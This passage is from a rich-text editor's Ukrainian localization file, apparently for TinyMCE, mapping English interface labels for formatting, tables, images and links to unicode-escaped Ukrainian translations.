"Select all": "\u0412\u0438\u0431\u0435\u0440\u0456\u0442\u044c \u0443\u0441\u0435",
"New document": "\u041d\u043e\u0432\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Ok": "Ok",
"Cancel": "\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438",
"Visual aids": "\u0412\u0456\u0437\u0443\u0430\u043b\u044c\u043d\u0456 \u0437\u0430\u0441\u043e\u0431\u0438",
"Bold": "\u0416\u0438\u0440\u043d\u0438\u0439",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Underline": "\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439",
"Strikethrough": "\u041f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439",
"Superscript": "\u0412\u0435\u0440\u0445\u043d\u0456\u0439 \u0456\u043d\u0434\u0435\u043a\u0441",
"Subscript": "\u0406\u043d\u0434\u0435\u043a\u0441",
"Clear formatting": "\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Align left": "\u041b\u0456\u0432\u043e\u0440\u0443\u0447",
"Align center": "\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Align right": "\u041f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",
"Justify": "\u0412\u0438\u0440\u0456\u0432\u043d\u044f\u0442\u0438",
"Bullet list": "\u041c\u0430\u0440\u043a\u0456\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Numbered list": "\u041f\u0440\u043e\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Decrease indent": "\u0417\u043c\u0435\u043d\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"Increase indent": "\u0417\u0431\u0456\u043b\u044c\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"Close": "\u0417\u0430\u043a\u0440\u0438\u0442\u0438",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442\u0438",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0435 \u043f\u0456\u0434\u0442\u0440\u0438\u043c\u0443\u0454 \u043f\u0440\u044f\u043c\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u043e\u0431\u043c\u0456\u043d\u0443. \u0417\u0430\u043c\u0456\u0441\u0442\u044c \u0446\u044c\u043e\u0433\u043e \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 \u043f\u043e\u0454\u0434\u043d\u0430\u043d\u043d\u044f \u043a\u043b\u0430\u0432\u0456\u0448 Ctrl + X\/C\/V.",
"Headers": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Header 1": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Header 2": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Header 3": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Header 4": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Header 5": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Header 6": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Headings": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Heading 1": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Heading 2": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Heading 3": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Heading 4": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Heading 5": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Heading 6": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Preformatted": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u044c\u043e \u0432\u0456\u0434\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432\u0430\u043d\u0438\u0439",
"Div": "Div",
"Pre": "Pre",
"Code": "\u041a\u043e\u0434",
"Paragraph": "\u0410\u0431\u0437\u0430\u0446",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442\u0430",
"Inline": "\u0412\u0431\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0439",
"Blocks": "\u0411\u043b\u043e\u043a\u0438",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0437\u0430\u0440\u0430\u0437 \u0432 \u0440\u0435\u0436\u0438\u043c\u0456 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0443. \u0417\u043c\u0456\u0441\u0442 \u0431\u0443\u0434\u0435 \u0432\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u044f\u043a \u043f\u0440\u043e\u0441\u0442\u0438\u0439 \u0442\u0435\u043a\u0441\u0442, \u043f\u043e\u043a\u0438 \u0412\u0438 \u043d\u0435 \u0432\u0438\u043c\u043a\u043d\u0435\u0442\u0435 \u0446\u044e \u043e\u043f\u0446\u0456\u044e.",
"Font Family": "\u0428\u0440\u0438\u0444\u0442",
"Font Sizes": "\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0430",
"Class": "\u041a\u043b\u0430\u0441",
"Browse for an image": "\u0412\u0438\u0431\u0456\u0440 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"OR": "\u0410\u0411\u041e",
"Drop an image here": "\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0456\u0442\u044c \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u0441\u044e\u0434\u0438",
"Upload": "\u0417\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0438\u0442\u0438",
"Block": "\u0411\u043b\u043e\u043a",
"Align": "\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Default": "\u0423\u043c\u043e\u0432\u0447\u0430\u043d\u043d\u044f",
"Circle": "\u041a\u043e\u043b\u043e",
"Disc": "\u0414\u0438\u0441\u043a",
"Square": "\u041a\u0432\u0430\u0434\u0440\u0430\u0442",
"Lower Alpha": "\u041d\u0438\u0436\u043d\u0456\u0439 \u0440\u0435\u0433\u0456\u0441\u0442\u0440",
"Lower Greek": "\u041c\u0430\u043b\u0456 \u0433\u0440\u0435\u0446\u044c\u043a\u0456 \u043b\u0456\u0442\u0435\u0440\u0438",
"Lower Roman": "\u0420\u0438\u043c\u0441\u044c\u043a\u0456 \u0446\u0438\u0444\u0440\u0438 \u0443 \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u0440\u0435\u0433\u0456\u0441\u0442\u0440\u0456",
"Upper Alpha": "\u0412\u0435\u0440\u0445\u043d\u0456\u0439 \u0440\u0435\u0433\u0456\u0441\u0442\u0440",
"Upper Roman": "\u0420\u0438\u043c\u0441\u044c\u043a\u0456 \u0446\u0438\u0444\u0440\u0438 \u0443 \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u0440\u0435\u0433\u0456\u0441\u0442\u0440\u0456",
"Anchor": "\u041f\u0440\u0438\u0432'\u044f\u0437\u043a\u0430",
"Name": "\u0406\u043c'\u044f",
"Id": "\u041a\u043e\u0434",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u041a\u043e\u0434 \u043c\u0430\u0454 \u043f\u043e\u0447\u0438\u043d\u0430\u0442\u0438\u0441\u044f \u0437 \u043b\u0456\u0442\u0435\u0440\u0438 \u0456 \u043c\u043e\u0436\u0435 \u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u043b\u0438\u0448\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438 \u043b\u0456\u0442\u0435\u0440, \u0446\u0438\u0444\u0440, \u0434\u0435\u0444\u0456\u0441\u0443, \u043a\u0440\u0430\u043f\u043a\u0438, \u043a\u043e\u043c\u0438 \u0430\u0431\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u0433\u043e \u043f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u043d\u044f.",
"You have unsaved changes are you sure you want to navigate away?": "\u0423 \u0432\u0430\u0441 \u0454 \u043d\u0435\u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0456 \u0437\u043c\u0456\u043d\u0438. \u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0445\u043e\u0447\u0435\u0442\u0435 \u043f\u0456\u0442\u0438 ?",
"Restore last draft": "\u0412\u0456\u0434\u043d\u043e\u0432\u0438\u0442\u0438 \u043e\u0441\u0442\u0430\u043d\u043d\u0456\u0439 \u043f\u0440\u043e\u0435\u043a\u0442",
"Special character": "\u0421\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b",
"Source code": "\u0414\u0436\u0435\u0440\u0435\u043b\u043e",
"Insert\/Edit code sample": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u0438 \u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",
"Language": "\u041c\u043e\u0432\u0430",
"Code sample": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",
"Color": "\u041a\u043e\u043b\u0456\u0440",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0417\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",
"Right to left": "\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e",
"Emoticons": "\u0421\u043c\u0430\u0439\u043b\u0438",
"Document properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443",
"Title": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Keywords": "\u041a\u043b\u044e\u0447\u043e\u0432\u0456 \u0441\u043b\u043e\u0432\u0430",
"Description": "\u041e\u043f\u0438\u0441",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Encoding": "\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f",
"Fullscreen": "\u041d\u0430 \u0432\u0435\u0441\u044c \u0435\u043a\u0440\u0430\u043d",
"Action": "\u0414\u0456\u044f",
"Shortcut": "\u042f\u0440\u043b\u0438\u043a",
"Help": "\u0414\u043e\u043f\u043e\u043c\u043e\u0433\u0430",
"Address": "\u0410\u0434\u0440\u0435\u0441\u0430",
"Focus to menubar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043c\u0435\u043d\u044e",
"Focus to toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u0456\u043d\u0441\u0442\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445",
"Focus to element path": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u0448\u043b\u044f\u0445\u0443",
"Focus to contextual toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442",
"Insert link (if link plugin activated)": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f (\u044f\u043a\u0449\u043e \u0434\u043e\u0437\u0432\u043e\u043b\u0435\u043d\u043e)",
"Save (if save plugin activated)": "\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438 (\u044f\u043a\u0449\u043e \u0434\u043e\u0437\u0432\u043e\u043b\u0435\u043d\u043e)",
"Find (if searchreplace plugin activated)": "\u0417\u043d\u0430\u0439\u0442\u0438 (\u044f\u043a\u0449\u043e \u0434\u043e\u0437\u0432\u043e\u043b\u0435\u043d\u043e)",
"Plugins installed ({0}):": "\u041d\u0430\u044f\u0432\u043d\u0456 \u0434\u043e\u0434\u0430\u0442\u043a\u0438 ({0}):",
"Premium plugins:": "\u041f\u0440\u0435\u043c\u0456\u0430\u043b\u044c\u043d\u0456 \u0434\u043e\u0434\u0430\u0442\u043a\u0438:",
"Learn more...": "\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e...",
"You are using {0}": "\u0423 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u0456 {0}",
"Plugins": "\u041f\u043b\u0430\u0433\u0456\u043d\u0438",
"Handy Shortcuts": "\u041a\u043e\u0440\u0438\u0441\u043d\u0456 \u044f\u0440\u043b\u0438\u043a\u0438",
"Horizontal line": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430 \u043b\u0456\u043d\u0456\u044f",
"Insert\/edit image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image description": "\u041e\u043f\u0438\u0441 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Source": "\u0414\u0436\u0435\u0440\u0435\u043b\u043e",
"Dimensions": "\u0420\u043e\u0437\u043c\u0456\u0440",
"Constrain proportions": "\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",
"General": "\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",
"Advanced": "\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Vertical space": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0438\u0439 \u043f\u0440\u043e\u043f\u0443\u0441\u043a",
"Horizontal space": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0438\u0439 \u043f\u0440\u043e\u043f\u0443\u0441\u043a",
"Border": "\u041c\u0435\u0436\u0430",
"Insert image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image": "\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image list": "\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c",
"Rotate counterclockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 \u043f\u0440\u043e\u0442\u0438 \u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a\u043e\u0432\u043e\u0457 \u0441\u0442\u0440\u0456\u043b\u043a\u0438",
"Rotate clockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 \u0437\u0430 \u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a\u043e\u0432\u043e\u044e \u0441\u0442\u0440\u0456\u043b\u043a\u043e\u044e",
"Flip vertically": "\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438 \u043f\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0456",
"Flip horizontally": "\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438 \u043f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0456",
"Edit image": "\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image options": "\u041d\u0430\u043b\u0430\u0448\u0442\u0443\u0432\u0430\u043d\u043d\u044f \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Zoom in": "\u0417\u0431\u0456\u043b\u044c\u0448\u0438\u0442\u0438",
"Zoom out": "\u0417\u043c\u0435\u043d\u0448\u0438\u0442\u0438",
"Crop": "\u041e\u0431\u0440\u0456\u0437\u0430\u0442\u0438",
"Resize": "\u0417\u043c\u0456\u043d\u0438\u0442\u0438 \u0440\u043e\u0437\u043c\u0456\u0440",
"Orientation": "\u041e\u0440\u0456\u0454\u043d\u0442\u0430\u0446\u0456\u044f",
"Brightness": "\u042f\u0441\u043a\u0440\u0430\u0432\u0456\u0441\u0442\u044c",
"Sharpen": "\u0427\u0456\u0442\u043a\u0456\u0441\u0442\u044c",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Color levels": "\u0420\u0456\u0432\u043d\u0456 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Invert": "\u0406\u043d\u0432\u0435\u0440\u0441\u0456\u044f",
"Apply": "\u0417\u0430\u0441\u0442\u043e\u0441\u0443\u0432\u0430\u0442\u0438",
"Back": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438\u0441\u044f",
"Insert date\/time": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0434\u0430\u0442\u0443\/\u0447\u0430\u0441",
"Date\/time": "\u0414\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Insert link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Insert\/edit link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Text to display": "\u0422\u0435\u043a\u0441\u0442 \u0434\u043b\u044f \u0432\u0456\u0434\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Url": "URL",
"Target": "\u041c\u0435\u0442\u0430",
"None": "\u041d\u0456",
"New window": "\u041d\u043e\u0432\u0435 \u0432\u0456\u043a\u043d\u043e",
"Remove link": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Anchors": "\u042f\u043a\u043e\u0440\u044f",
"Link": "\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Paste or type a link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0430\u0431\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0421\u0445\u043e\u0436\u0435, \u0449\u043e \u0432\u0438 \u0432\u0432\u0435\u043b\u0438 \u0430\u0434\u0440\u0435\u0441\u0443 \u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438. \u0412\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0421\u0445\u043e\u0436\u0435, \u0449\u043e \u0432\u0438 \u0432\u0432\u0435\u043b\u0438 \u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f. \u0412\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 http:\/\/?",
"Link list": "\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c",
"Insert video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0432\u0456\u0434\u0435\u043e",
"Insert\/edit video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0432\u0456\u0434\u0435\u043e",
"Insert\/edit media": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u043c\u0435\u0434\u0456\u0430\u0434\u0430\u043d\u0456",
"Alternative source": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e",
"Poster": "\u041f\u043b\u0430\u043a\u0430\u0442",
"Paste your embed code below:": "\u0412\u0441\u0442\u0430\u0432\u0442\u0435 \u0432\u0430\u0448 \u043a\u043e\u0434 \u043d\u0438\u0436\u0447\u0435:",
"Embed": "\u0412\u043f\u0440\u043e\u0432\u0430\u0434\u0438\u0442\u0438",
"Media": "\u041c\u0435\u0434\u0456\u0430\u0434\u0430\u043d\u0456",
"Nonbreaking space": "\u041d\u0435\u0440\u043e\u0437\u0440\u0438\u0432\u043d\u0438\u0439 \u043f\u0440\u043e\u043f\u0443\u0441\u043a",
"Page break": "\u0420\u043e\u0437\u0440\u0438\u0432 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438",
"Paste as text": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u044f\u043a \u0442\u0435\u043a\u0441\u0442",
"Preview": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0456\u0439 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",
"Print": "\u0414\u0440\u0443\u043a",
"Save": "\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438",
"Find": "\u0417\u043d\u0430\u0439\u0442\u0438",
"Replace with": "\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u043d\u0430",
"Replace": "\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438",
"Replace all": "\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0435",
"Prev": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0456\u0439",
"Next": "\u041d\u0430\u0441\u0442\u0443\u043f\u043d\u0438\u0439",
"Find and replace": "\u0417\u043d\u0430\u0439\u0442\u0438 \u0456 \u0437\u0430\u043c\u0456\u043d\u0438\u0442\u0438",
"Could not find the specified string.": "\u041d\u0435 \u0432\u0434\u0430\u043b\u043e\u0441\u044f \u0437\u043d\u0430\u0439\u0442\u0438 \u0437\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0440\u044f\u0434\u043e\u043a.",
"Match case": "\u0417 \u0443\u0440\u0430\u0445\u0443\u0432\u0430\u043d\u043d\u044f\u043c \u0440\u0435\u0433\u0456\u0441\u0442\u0440\u0443",
"Whole words": "\u0426\u0456\u043b\u0456 \u0441\u043b\u043e\u0432\u0430",
"Spellcheck": "\u041f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0430 \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0456\u0457",
"Ignore": "\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438",
"Ignore all": "\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438 \u0432\u0441\u0435",
"Finish": "\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0438",
"Add to Dictionary": "\u0414\u043e\u0434\u0430\u0442\u0438 \u0432 \u0441\u043b\u043e\u0432\u043d\u0438\u043a",
"Insert table": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e",
"Table properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0442\u0430\u0431\u043b\u0438\u0446\u0456",
"Delete table": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e",
"Cell": "\u041a\u043e\u043c\u0456\u0440\u043a\u0430",
"Row": "\u0420\u044f\u0434\u043e\u043a",
"Column": "\u0421\u0442\u043e\u0432\u043f\u0435\u0446\u044c",
"Cell properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Merge cells": "\u041e\u0431'\u0454\u0434\u043d\u0430\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Split cell": "\u0420\u043e\u0437\u0431\u0438\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0443",
"Insert row before": "\u0412\u0441\u0442\u0430\u0432\u0442\u0435 \u0440\u044f\u0434\u043e\u043a \u043f\u0435\u0440\u0435\u0434",
"Insert row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u043f\u0456\u0441\u043b\u044f",
"Delete row": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a",
"Row properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0440\u044f\u0434\u043a\u0430",
"Cut row": "\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a",
"Copy row": "\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a",
"Paste row before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u043f\u0435\u0440\u0435\u0434",
"Paste row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u043f\u0456\u0441\u043b\u044f",
"Insert column before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c \u043f\u0435\u0440\u0435\u0434",
"Insert column after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c \u043f\u0456\u0441\u043b\u044f",
"Delete column": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c",
"Cols": "\u0421\u0442\u043e\u0432\u043f\u0446\u0456",
"Rows": "\u0420\u044f\u0434\u043a\u0438",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Height": "\u0412\u0438\u0441\u043e\u0442\u0430",
"Cell spacing": "\u0406\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043c\u0456\u0436 \u043a\u043e\u043c\u0456\u0440\u043a\u0430\u043c\u0438",
"Cell padding": "\u0417\u0430\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u043a\u043e\u043c\u0456\u0440\u043e\u043a",
"Caption": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Left": "\u041b\u0456\u0432\u043e\u0440\u0443\u0447",
"Center": "\u0426\u0435\u043d\u0442\u0440",
"Right": "\u041f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",
"Cell type": "\u0422\u0438\u043f \u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Scope": "\u0423 \u043c\u0435\u0436\u0430\u0445",
"Alignment": "\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"H Align": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"V Align": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Top": "\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Middle": "\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Bottom": "\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Header cell": "\u041a\u043e\u043c\u0456\u0440\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443",
"Row group": "\u0413\u0440\u0443\u043f\u0430 \u0440\u044f\u0434\u043a\u0456\u0432",
"Column group": "\u0413\u0440\u0443\u043f\u0430 \u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432",
"Row type": "\u0422\u0438\u043f \u0440\u044f\u0434\u043a\u0430",
